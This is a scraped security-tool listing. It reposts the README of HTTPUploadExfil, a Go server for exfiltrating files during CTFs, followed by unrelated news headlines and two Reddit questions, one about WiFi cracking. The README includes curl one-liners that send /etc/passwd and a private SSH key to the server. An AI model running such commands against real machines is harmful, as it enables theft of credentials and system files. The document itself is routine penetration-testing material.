HTTPUploadExfil - A Simple HTTP Server For Exfiltrating Files/Data During, For Example, CTFs
http://www.kitploit.com/2021/10/httpuploadexfil-simple-http-server-for.html

___________________________
@hacking_Attack
@Hacking_Video

HTTPUploadExfil is a (very) simple HTTP server written in Go that's useful for getting files (and other information) off a machine using HTTP. While there are many use-cases, it's meant to be used in low-stakes offensive scenarios (e.g., CTFs). Think of this as python3 -m http.server but for getting data off a machine instead of on the machine. Obviously, this is a very loud and somewhat restricted way of exfiltrating data. Nevertheless, it's quite handy and somewhat easier than, for example, using SMB or FTP. If you are looking for something more elegant, have a look at, for example, dnsteal or PyExfil.
TL;DR
Build the tool using go build. Run ./httpuploadexfil :1337 /home/kali/loot on your machine. Access http://YOUR_IP:1337/ on the machine you need to exfiltrate data from. Find your uploaded files in /home/kali/loot. If you need HTTPs, look at the information below.
Building and Developing
While there are binaries available, it's absolutely recommended to build this on your own. This way, you will have the newest version, and you will also know exactly what you're running. The process is trivial: Simply run go build within the folder, and you should get an httpuploadexfil executable for your platform. If you make changes to the tool, remember to format using go fmt main.go.
Usage
The most common use case would be to run the server on Machine A. Now, on Machine B you access (https://www.kitploit.com/search/label/Access) the upload form using a browser and select a file to exfiltrate. Of course, as you can see below, this can also be done using, for example, curl. Aside from uploading files, you can also use HTTPUploadExfil to exfiltrate data using simple GET requests. If a request is sent to the \g endpoint, the whole request will be stored to disk. Hence, you can exfiltrate data using the header of the request. It's easiest to use GET parameters (https://www.kitploit.com/search/label/GET%20parameters) (e.g., ?data=...), but there are other options.

___________________________
@hacking_Attack
@Hacking_Video

By default, HTTPUploadExfil will be served on port 8080. All files will be written to the current directory. ./httpuploadexfil You can also provide some arguments: ./httpuploadexfil :1337 /home/kali/loot The first argument is a bind (https://www.kitploit.com/search/label/BIND) address, the second one the folder to store files in. The tool will also expose the files in the loot directory under the /l endpoint. This can be used as an easy way to bring files onto the target.
Endpoints
The webserver exposes four endpoints (https://www.kitploit.com/search/label/Endpoints) for you to use: / (GET) is the upload form. /p (POST) takes the data from the upload form. It requires a multipart/form-data request with the file field filled. /g (GET) will take any GET request and store the full request on the server. /l (GET) will provide access to files in the specified folder (Directory Listing). This is to provide basic python3 -m http.server functionality.
HTTPs Mode
HTTPUploadExfil can also be used in HTTPs mode. To do so, simply place a HTTPUploadExfil.csr and HTTPUploadExfil.key file next to the binary. These can be, for example, generated as follows: openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr If the servers sees (https://www.kitploit.com/search/label/SEES) a HTTPUploadExfil.csr file, it will try to start in HTTPs mode. To go back to HTTP, simply remove or rename the certificate files.
Shell
Using Bash, we can exfil data using GET via, for example: echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g Of course, we can also use curl to exfil files: curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
ToDo
Implement an HTTPs version (Transport Encryption) Add download option (i.e., provide python3 -m http.server functionality)

Download HTTPUploadExfil (https://github.com/IngoKl/HTTPUploadExfil)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
HTTPUploadExfil - A Simple HTTP Server For Exfiltrating Files/Data During, For Example, CTFs

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Stop Zero-Day Ransomware Cold With AI

AI can help recognize ransomware attacks and stop them at computer speed.

Dark Reading: Attacks/Breaches
US to Create Diplomatic Bureau to Lead Cybersecurity Policy

As part of its modernization initiative, the Department of State will increase its IT budget by 50% and add a new bureau to lead cybersecurity and digital policy.

Dark Reading: Attacks/Breaches
Tech Companies Create Security Baseline for Enterprise Software

The Minimum Viable Secure Product is written as a checklist of minimum-security requirements for business-to-business software.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
NSA-CISA Series on Securing 5G Cloud Infrastructures

CISA encourages 5G providers, integrators, and network operators to review the guidance and consider the recommendations.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
ICS Security Firm Dragos Reaches $1.7B Valuation in Latest Funding Round

The $200M Series D represents the company's largest funding round to date.

Dark Reading: Attacks/Breaches
Ordr Unveils Cybersecurity Innovations and Ransom-Aware Rapid Assessment Service to Expand Its Leadership In Connected Device Security

Enhanced ransomware detection, visualization of ransomware communications, and risk customization helps organizations respond to cyberattacks in minutes.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
SEO Poisoning Used to Distribute Ransomware

This tactic — used to distribute REvil ransomware and the SolarMarker backdoor — is part of a broader increase in such attacks in recent months, researchers say.

Dark Reading: Attacks/Breaches
Top Hardware Weaknesses List Debuts

CWE list aimed at designers and programmers to avoid key hardware weaknesses early in product development.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Job help.

So i'm supposed to test the security of a wifi network. But theres some unconventional issues with this job.

The company uses the 5ghz wifi network which doesnt penetrate their building walls that well. So with the traditional aircrack-ng approach i run into an issue that if i let airodump run long enough i find few access points but the signal is so shitty that i cannot deauth.(i get error for losing the beacon frame?!?)
But i can see bunch of devices connected to the said network.
I have external nic which allows me to crank up the signal strength but i believe thats illegal where i'm at..

The access points all use wpa2-psk with wps enabled

So what would be an alternative approach??
Is PIN bruteforce still a thing? Maybe phising with fake ap?

The scope of the job is only the wifi network.
Pay is bad but the client is friend so i wanna do good job.
I'm terribly rusty and out of the loop when it comes to wifi security...

submitted by /u/dumpzyyi
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I want to modify and exe, I know nothing about assembly, where do I start?

I have an old game with an exe file, I want to remove a cutscene that has no purpose. So far I only got a debugger and looked at the code... I understand nothing... and actually learning assembly just for this one task will take too much time... how am I supposed to do it, if I have to study assembly for months or years for it, I will... but I would like to just complete this one task, I will appreciate any advice, for now, I will try to at least study as much assembly as I can

submitted by /u/vladrumsh
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video